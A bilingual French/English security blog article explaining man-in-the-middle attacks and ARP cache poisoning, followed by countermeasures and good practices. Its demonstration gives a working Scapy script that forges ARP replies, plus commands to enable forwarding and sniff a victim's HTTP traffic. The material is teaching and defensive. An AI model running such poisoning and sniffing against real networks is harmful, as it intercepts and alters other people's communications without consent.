This website is being rewrited from Apache+PHP to Caddy+SvelteKit, see here for a live preview : https://natsec.fr:1337
×
language
Novembre 2017November 2017

Malcolm In The Middle Malcolm In The Middle

Cet article a pour but d'expliquer les attaques de type "homme du milieu" ou MITM (Man In The Middle). J'expliquerai en quoi consiste ce type d'attaque et le but recherché. Ensuite, on verra les techniques de base pour réaliser un MITM. Puis on fera une démonstration pour mieux comprendre.

Enfin, on verra les contre-mesures à mettre en place et les bonnes pratiques à adopter pour éviter ce genre d'attaque.
The purpose of this article is to explain the Man In The Middle (MITM) attacks. I will explain what this type of attack consists of and the purpose of it. Then, we will see the basic techniques to achieve a MITM. Then we'll do a demonstration to better understand.

Finally, we will see the countermeasures to be put in place and the good practices to be adopted to avoid this type of attack.

PrincipePrinciple

Les attaques de type MITM consistent à intercepter les échanges entre deux tiers qui pensent communiquer directement. L'attaquant peut intercepter le trafic de deux manières : MITM-type attacks consist of intercepting exchanges between two third parties who think they are communicating directly. The attacker can intercept traffic in two ways :

Dans le cas d'une écoute passive, l'écoute est transparente pour les cibles, car l'attaquant n'effectue aucune action intrusive, il ne fait que détourner le trafic, ou se positionne de tel manière qu'il peut écouter sans avoir à effectuer d'action particulière.
Par contre, lors d'une écoute active, l'attaquant détourne le fonctionnement des protocoles pour devenir un relai entre les deux cibles, ce qui nécessite de sa part des actions à bas niveau du modèle OSI.
In the case of passive eavesdropping, the eavesdropping is transparent to the targets, as the attacker does not perform any intrusive action, it only diverts traffic, or positions itself in such a way that it can listen without having to perform any particular action.
On the other hand, during active listening, the attacker diverts the operation of the protocols to become a relay between the two targets, which requires low-level actions from the OSI model.

Dans les deux cas, l'attaquant porte atteinte à la confidentialité de l'échange.
En plus de ça, lors d'une écoute active, comme les échanges passent par l'attaquant, il peut très bien modifier les données à la volée, les données échangées ne sont donc plus intègres ni authentiques.
In both cases, the attacker breaches the confidentiality of the exchange.
In addition to this, during active listening, since the exchanges pass through the attacker, he may very well modify the data on the fly, so the exchanged data is no longer integral or authentic.

L'écoute, qu'elle soit passive ou active constitue une première étape dans des scénarios d'attaque plus avancés.
Elle permet de récolter des informations pour cartographier un réseau, ou de récupérer des identifiants qui passent en clair.
Eavesdropping, whether passive or active, is a first step in more advanced attack scenarios.
It allows information to be gathered to map a network, or to retrieve identifiers that pass in the clear.

Techniques de mise en œuvreImplementation techniques

Il existe différentes techniques pour réaliser un MITM. Les différentes méthodes que nous allons voir s'appliquent à un réseau local. There are different techniques to perform MITM attacks. The different methods we will see apply to a local area network.

Le hubHubs

La méthode la plus simple consiste à utiliser un Hub. C'est un équipement de la couche 2 du modèle OSI, cet équipement, qui ne devrait plus être utilisé aujourd'hui répète les trames qu'il reçoit vers tous ses autres ports. En fonctionnement normal, les machines reçoivent toutes les trames du réseau local, mais ne traitent que celles qui leur sont destinés. The simplest method is to use a Hub. It is a layer 2 device of the OSI model, this device, which should no longer be used today, repeats the frames it receives to all its other ports. In normal operation, the machines receive all the frames from the local network, but only process those intended for them.

Pour détourner ce fonctionnement, un attaquant peut mettre sa machine en mode promiscuité (anglais: promiscuous). Dans ce mode, une machine laisse passer les trames (couche 2) dans les couches supérieures de sa pile OSI. Avec un analyseur de réseaux, l'attaquant peut alors observer tout le trafic du réseau local. To hijack this operation, an attacker can put his machine in promiscuous mode. In this mode, a machine allows frames (layer 2) to pass through the top layers of its OSI stack. With a network analyzer, the attacker can then observe all the traffic on the local network.

Notez que les réseaux Wifi publics fonctionnent selon ce même principe, le point d'accès fonctionne comme un hub. Les trames sont diffusées par ondes radio (UHF-SHF), donc tout le monde les reçoit, et comme les machines s'associent au point d'accès sans passer par l'étape d'authentification, tout le monde peut lire le contenu des trames. Note that public WiFi networks work according to the same principle, the access point works like a hub. The frames are broadcast by radio waves (UHF-SHF), so everyone receives them, and as the machines associate themselves to the access point without going through the authentication step, everyone can read the content of the frames.

Le switchSwitches

Un réseau switché est un réseau commuté, c'est-à-dire que les machines ne reçoivent que les trames destinées à elles-mêmes. L'équipement de niveau 3, le switch, maintient une table de correspondance des adresses MAC et de ses ports, cette table lui permet de savoir sur quel port il doit répéter le signal. The machines on a switched network only receive the frames intended for themselves. The level 3 equipment, the switch, maintains a mapping table of MAC addresses and its ports, this table allows it to know on which port it should repeat the signal.

Un attaquant ne peut plus juste se brancher et tout voir. Cependant, s'il a accès à la configuration du switch, il peut configurer un des port comme port de mirroring. Cette fonctionnalité des switchs permet de désigner un port sur lequel toutes les trames reçues seront aussi répétées. Un port configuré de cette manière est souvent utilisé comme source d'information pour les NIDS, les systèmes de détection d'intrusion de réseau, qui permettent en analysant le trafic, de détecter des motifs typiques de certaines attaques. Mais utilisé dans un but malveillant, l'attaquant détournera tout le trafic vers sa machine pour accéder aux données échangées. An attacker can no longer just plug in and see everything. However, if he has access to the switch configuration, he can set one of the ports as a mirroring port. This switch feature allows you to designate a port on which all received frames will also be mirrored. A port configured in this way is often used as a source of information for NIDS, network intrusion detection systems, which by analyzing traffic, can detect typical patterns of certain attacks. But used with malicious intent, the attacker will divert all traffic to his machine to access the data exchanged.

L'ARP Cache PoisoningARP Cache Poisoning

Cette technique utilise les faiblesses du protocole ARP (Address Resolution Protocol) pour permettre à l'attaquant de devenir un relai entre deux interlocuteurs. This technique uses the weaknesses of the Address Resolution Protocol (ARP) to allow the attacker to become a relay between two interlocutors.

Le protocole ARP est un protocole intermédiaire entre les couches 3 et 2 du modèle OSI, il permet d'obtenir l'adresse MAC d'une machine à partir de son adresse IP. Ce protocole est nécessaire pour permettre à deux machines de communiquer sur un réseau local. The ARP protocol is an intermediate protocol between layers 3 and 2 of the OSI model, it allows to obtain the MAC address of a machine from its IP address. This protocol is necessary to allow two machines to communicate on a local network.

Pour la suite de l'explication, on utilisera le schéma réseau suivant : For the rest of the explanation, the following network diagram will be used :

Schéma du réseau local 1

Pour envoyer un paquet IP vers son routeur, la machine de Bob doit construire l'en-tête de son paquet IP, puis elle doit encapsuler le paquet IP dans une trame Ethernet. Pour construite l'en-tête Ethernet, la machine de Bob doit connaître l'adresse MAC du routeur. Ne la connaissant pas au début, sa machine va alors utiliser le protocole ARP pour la déterminer. To send an IP packet to his router, Bob's machine must construct the header of his IP packet, and then it must encapsulate the IP packet in an Ethernet frame. To build the Ethernet header, Bob's machine must know the MAC address of the router. Not knowing it at first, his machine will then use the ARP protocol to determine it.

La figure suivante montre l'en-tête d'une trame Ethernet. On voit qu'il est impossible d'envoyer un paquet IP sans l'encapsuler dans une trame Ethernet, ce qui nécessite de connaître l'adresse MAC d'une machine voisine. The following figure shows the header of an Ethernet frame. We can see that it is impossible to send an IP packet without encapsulating it in an Ethernet frame, which requires knowing the MAC address of a neighboring machine.

En-tête Ethernet

Le dialogue suivant montre comment va se dérouler la résolution de l'adresse IP en adresse MAC : The following dialog shows how the resolution of the IP address to the MAC address will take place :

  1. Bob, à tout le monde : qui a l'adresse IP 192.168.1.254 ? Répondez-moi à l'adresse MAC 11:22:33:44:55:66. Bob to everybody : who's got the IP address 192.168.1.254 ? Answer me at MAC 11:22:33:44:55:66.
  2. Routeur, à Bob : Hey ! C'est moi qui ai l'adresse 192.168.1.254, et mon MAC est 44:44:44:44:44:44. Router to Bob : Hey ! I'm the one with the address 192.168.1.254, and my MAC is 44:44:44:44:44:44.

La machine de Bob obtient l'adresse MAC du routeur, elle peut alors construire son en-tête MAC et envoyer son paquet. Bob's machine gets the MAC address of the router, it can then build its MAC header and send its packet.

La conception du protocole ARP en 1982 n'a pas intégré l'aspect sécurité. Plus précisément, les machines acceptent les réponses ARP non sollicitées, mêmes si elles n'ont jamais posé de question, on parle de gratuitious ARP. Ce fonctionnement est prévu par le protocole pour de bonnes raisons (au démarrage, certaines machines envoient une réponse ARP pour manifester leur présence, ou pour vérifier un conflit d'adresse IP). Ce fonctionnement l'a rendu vulnérable à une attaque permettant la corruption des caches ARP : c'est l'ARP Cache Poisoning. The conception of the ARP protocol in 1982 did not include the safety aspect. Specifically, the machines accept unsolicited ARP responses, even if they have never asked a question, we speak of gratuitous ARP. This operation is provided by the protocol for good reasons (at startup, some machines send an ARP response to show their presence, or to check an IP address conflict). This operation has made it vulnerable to an attack allowing the corruption of ARP caches : this is ARP Cache Poisoning.

Supposons que notre attaquante, Ambre, veuille s'interposer entre Bob et le routeur, elle peut utiliser la faiblesse du protocole en forgeant une requête ARP, c'est-à-dire qu'au lieu de laisser l'OS le faire dans les règles, elle va créer une requête en choisissant la valeur de ses champs. Dans notre exemple, elle va forcer une réponse ARP sur chaque cible. Elle va envoyer à bob une réponse non sollicitée contenant le message : "l'adresse IP du routeur correspond à mon adresse MAC", et au routeur : "l'adresse IP de Bob correspond à mon adresse MAC". Suppose our attacker, Ambre, wants to get between Bob and the router, she can use the weakness of the protocol by forging an ARP query, i.e. instead of letting the OS do it in the rules, she will create a query by choosing the value of her fields. In our example, it will force an ARP response on each target. It will send to bob an unsolicited reply containing the message : "the router's IP address matches my MAC address", and to the router : "Bob's IP address matches my MAC address".

Pour faire l'analogie avec le courrier postal, c'est comme si Ambre disait à Bob : "si tu veux poster une lettre, donne-la-moi", et au bureau de poste : "si tu veux livrer un courrier à Bob, donne-le-moi". Bien sûr, Ambre ne devra pas oublier de transmettre les courriers, sinon ils n'arriveront jamais à leur destinataire. Sur notre réseau, cela se traduira par l'activation du routage. To use the postal analogy, it's like Amber saying to Bob, "if you want to mail a letter, give it to me," and to the post office, "if you want to deliver a letter to Bob, give it to me." Of course, Amber has to remember to deliver the mail, otherwise it never gets to the person it's addressed to. On our network, that will mean activating routing.

A partir de ce moment, les échanges transitent par Ambre, qui peut lire, modifier à la volée, voir bloquer, toute communication vers l'extérieur. From that moment on, exchanges pass through Ambre, which can read, modify on the fly, or even block all communication to the outside.

Autres techniquesOther techniques

Il existe d'autres techniques pour réaliser un MITM, elles détournent le fonctionnement d'autres protocoles sur d'autres couches du modèle OSI : There are other techniques to realize a MITM, they divert the operation of other protocols on other layers of the OSI model :

DémonstrationDemonstration

Pour cette démonstration, on reprend notre schéma du réseau local, et on précise les adresses IP et MAC : For this demonstration, we take again our diagram of the local network, and we specify the IP and MAC addresses :

Schéma du réseau local 2

On commence par afficher les tables ARP de nos deux machines : We start by displaying the ARP tables of our two machines :


					arp -a

					Interface : 192.168.1.1 --- 0xb
					  Adresse Internet		Adresse physique		Type
					  192.168.1.7			77-77-77-77-77-77		dynamique
					  192.168.1.254			44-44-44-44-44-44		dynamique
				

					show ip arp

					Protocol	Address		 Age (min)	Hardware Addr	Type	Interface
					Internet	192.168.1.1			0	1122.3344.5566	ARPA	FastEthernet0/0
					Internet	192.168.1.7			0	7777.7777.7777	ARPA	FastEthernet0/0
					Internet	192.168.1.254		-	4444.4444.4444	ARPA	FastEthernet0/0
				

Pour l'instant rien d'anormal, les associations MAC ↔ IP sont vraisemblables. For the moment nothing abnormal, the associations MAC ↔ IP are likely.

Maintenant, Ambre va forger une réponse ARP falsifiée avec Scapy. Ce module pour le langage Python permet de forger des paquets. Le code suivant forge 2 réponses ARP, le premier paquet dit à bob que l'adresse IP du routeur correspond à l'adresse MAC d'Ambre, et le deuxième dit au routeur que l'adresse IP de Bob correspond à l'adresse MAC d'Ambre. Les deux paquets sont ensuite envoyés en boucle toutes les 2 secondes : Now, Amber will forge a fake ARP response with Scapy. This module for the Python language allows forging packets. The following code forges 2 ARP responses, the first packet tells bob that the router's IP address matches Ambre's MAC address, and the second packet tells the router that Bob's IP address matches Ambre's MAC address. Both packets are then sent in a loop every 2 seconds :


					#!/usr/bin/env python3

					from scapy.all import *


					mac_bob = "11:22:33:44:55:66"
					ip_bob = "192.168.1.1"

					mac_router = "44:44:44:44:44:44"
					ip_router = "192.168.1.254"

					frame_bob = Ether()/ARP(op="is-at", psrc=ip_router, hwdst=mac_bob, pdst=ip_bob)
					frame_router = Ether()/ARP(op="is-at", psrc=ip_bob, hwdst=mac_router, pdst=ip_router)

					while True:
						sendp(frame_bob, loop=0, inter=1)
						sendp(frame_router, loop=0, inter=1)
				

En regardant la table ARP des deux cibles, on peut voir que les communications entre Bob et son routeur passent maintenant par Ambre (MAC 77:77:77:77:77:77) : Looking at the ARP table of the two targets, we can see that communications between Bob and his router now go through Ambre (MAC 77:77:77:77:77:77) :


					arp -a

					Interface : 192.168.1.1 --- 0xb
					  Adresse Internet		Adresse physique		Type
					  192.168.1.7			77-77-77-77-77-77		dynamique
					  192.168.1.254			77-77-77-77-77-77		dynamique
				

					show ip arp

					Protocol	Address		 Age (min)	Hardware Addr	Type	Interface
					Internet	192.168.1.1			0	7777.7777.7777	ARPA	FastEthernet0/0
					Internet	192.168.1.7			0	7777.7777.7777	ARPA	FastEthernet0/0
					Internet	192.168.1.254		-	4444.4444.4444	ARPA	FastEthernet0/0
				

Pour ne pas bloquer les communications, Ambre active le routage sur sa machine : In order not to block communications, Ambre activates routing on its machine :


					sudo echo 1 > /proc/sys/net/ipv4/ip_forward
				

Notez que ne pas router les paquets provoquerait un déni de service pour Bob, ce qui peut être fait délibérément si c'est l'intention de l'attaquant. Note that not routing packets would cause a denial of service for Bob, which can be done deliberately if that is the attacker's intention.

Si on regarde le chemin que parcourt un paquet depuis la machine de Bob vers son routeur, on obtient déjà un indice sur le fait qu'on ne parle pas directement à notre routeur : If we look at the path a packet travels from Bob's machine to his router, we already have a clue that we're not talking directly to our router :


					tracert 192.168.1.254

					Détermination de l'itinéraire vers Routeur [192.168.1.254]
					avec un maximum de 30 sauts :

					  1    <1 ms    <1 ms    <1 ms  192.168.1.7
					  2    <1 ms    <1 ms    <1 ms  Routeur [192.168.1.254]

					Itinéraire déterminé.
				

On voit qu'il y a deux sauts entre Bob et le routeur alors qu'il ne devrait y en avoir qu'un, et la machine par laquelle on passe a l'IP de la machine d'Ambre, c'est suspect 🤔 We see that there are two hops between Bob and the router when there should only be one, and the machine we're passing through has the IP of Amber's machine, it's suspicious 🤔

Le MITM est en place, Ambre peut maintenant voir les échanges entre Bob et l'extérieur du réseau local. Ici, elle affiche les requêtes HTTP et filtre les URL visités par Bob : With MITM in place, Ambre can now see the exchanges between Bob and outside the local network. Here, it displays HTTP requests and filters the URLs visited by Bob :


					sudo tcpdump -i eth0 -A tcp dst port 80 and host 192.168.1.1 | grep Referer

					tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
					listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes

					Referer: http://www.masraniglobal.com/about/
					Referer: http://www.masraniglobal.com/css/style.css

					^C171 packets captured
					201 packets received by filter
					0 packets dropped by kernel
				

Avec cette démonstration, on se rend compte des dangers d'une telle attaque, et de la nécessité de mettre en place des parades. La partie suivante indique des contre-mesures qui peuvent être mises en place pour éviter, ou au moins détecter ce genre d'attaque. With this demonstration, one realizes the dangers of such an attack, and the need to set up parades. The following section indicates countermeasures that can be put in place to avoid, or at least detect, such an attack.

Contre-mesuresCountermeasures

Une première contre-mesure qu'on peut mettre en place en tant qu'administrateur du réseau peut être de tout simplement bannir le protocole ARP. On maintiendra nos tables ARP manuellement, pour être certain de leur intégrité. Evidemment la maintenance sera plus complexe, cette contre-mesure sera donc appliquée sur des réseaux avec un nombre limité de machines, ou sur les réseaux les plus sensibles, comme une DMZ par exemple. A first countermeasure that can be implemented as a network administrator may be to simply ban the ARP protocol. We will maintain our ARP tables manually, to be sure of their integrity. Obviously maintenance will be more complex, so this countermeasure will be applied on networks with a limited number of machines, or on the most sensitive networks, such as a DMZ for example.

Maintenir une liste blanche d'adresses MAC autorisées ne sera pas une solution, car il est possible de modifier son adresse MAC.
La fonctionnalité port-security du constructeur Cisco permet de limiter le nombre d'associations sur un port ou de fixer une association sur un port.
Maintaining a whitelist of authorized MAC addresses will not be a solution, as it is possible to change one's MAC address. The port-security feature of the Cisco constructor allows to limit the number of associations on a port or to set an association on a port.

La sécurité physique ne doit pas être négligée, les accès aux locaux techniques doivent être surveillés, et restreints au seul personnel autorisé. Physical security must not be neglected, access to the technical areas must be monitored and restricted to authorized personnel only.

Dans tous les cas, pour détecter les tentatives d'ARP poisoning, on pourra mettre en place un NIDS, comme Snort, qui nous alertera en cas de trafic ARP suspect. In any case, in order to detect ARP poisoning attempts, we can implement a NIDS, such as Snort, which will alert us in case of suspicious ARP traffic.

Le NIDS pourra détecter les attaques de différentes manières. L'attaquant doit répéter l'envoi des réponses ARP forgées pour s'assurer qu'il est entre les deux cibles tout le long de l'attaque, dans un contexte normal, ce comportement n'a pas lieu d'être et on peut se servir de cette particularité pour créer une règle qui déclenchera une alerte. Une autre méthode est de maintenir dans le NIDS une table ARP maître, si le NIDS constate une anomalie dans le trafic ARP, celui-ci lancera une alerte. Cela revient à avoir une seule table ARP statique pour tout le réseau local, ce qui peut être plus avantageux pour la maintenance. The NIDS will be able to detect attacks in different ways. The attacker must repeat sending forged ARP responses to ensure that he is between the two targets throughout the attack, in a normal context this behavior is not necessary and this feature can be used to create a rule that will trigger an alert. Another method is to maintain a master ARP table in the NIDS, if the NIDS finds an anomaly in the ARP traffic, it will issue an alert. This is equivalent to having a single static ARP table for the entire LAN, which may be more advantageous for maintenance.

De manière générale, utiliser des communications chiffrées permet de décourager les attaquants, ils ne prendront pas la peine de mettre en place un MITM s'ils savent que les communications sont incompréhensibles. Pour se connecter aux équipements réseaux, plus de Telnet, que du SSH. Generally speaking, using encrypted communications can deter attackers, they will not bother to set up an MITM if they know that the communications are incomprehensible. To connect to network equipment, no more Telnet, only SSH.

La mise en place de ces contre-mesures permet de renforcer la robustesse d'un réseau contre ce type d'attaque. Cependant, la meilleure sécurité s'obtient avec un comportement prudent et responsable de la part des utilisateurs. La dernière partie donne les bonnes pratiques à adopter pour éviter ce genre d'attaque. The implementation of these counter-measures makes it possible to reinforce the robustness of a network against this type of attack. However, the best security is obtained with a careful and responsible behavior on the part of users. The last part gives the good practices to adopt to avoid this kind of attack.

Bonnes pratiquesGood practices

Au niveau des utilisateurs finaux du réseau, dont ce n'est pas le rôle de détecter ces attaques, leur seul moyen de participer à la sécurité est de limiter l'impact de ces attaques. Pour cela, ils devront veiller à la confidentialité de leurs échanges.
Les communications devraient être chiffrées sur au moins une couche du modèle OSI. Sur les réseaux Wifi publics, il faudra d'abord se connecter au VPN de l'entreprise. Enfin, lors de leur navigation, et plus particulièrement, lors d'authentifications sur Internet ou l'intranet de la société, il faudra s'assurer que le protocole est bien HTTPS.
At the level of end users of the network, whose role it is not to detect these attacks, their only means of participating in security is to limit the impact of these attacks. To do so, they will have to ensure the confidentiality of their exchanges. Communications should be encrypted on at least one layer of the OSI model. On public Wifi networks, it will first be necessary to connect to the company's VPN. Finally, when browsing, and especially when authenticating on the Internet or the company intranet, it will be necessary to ensure that the protocol is HTTPS.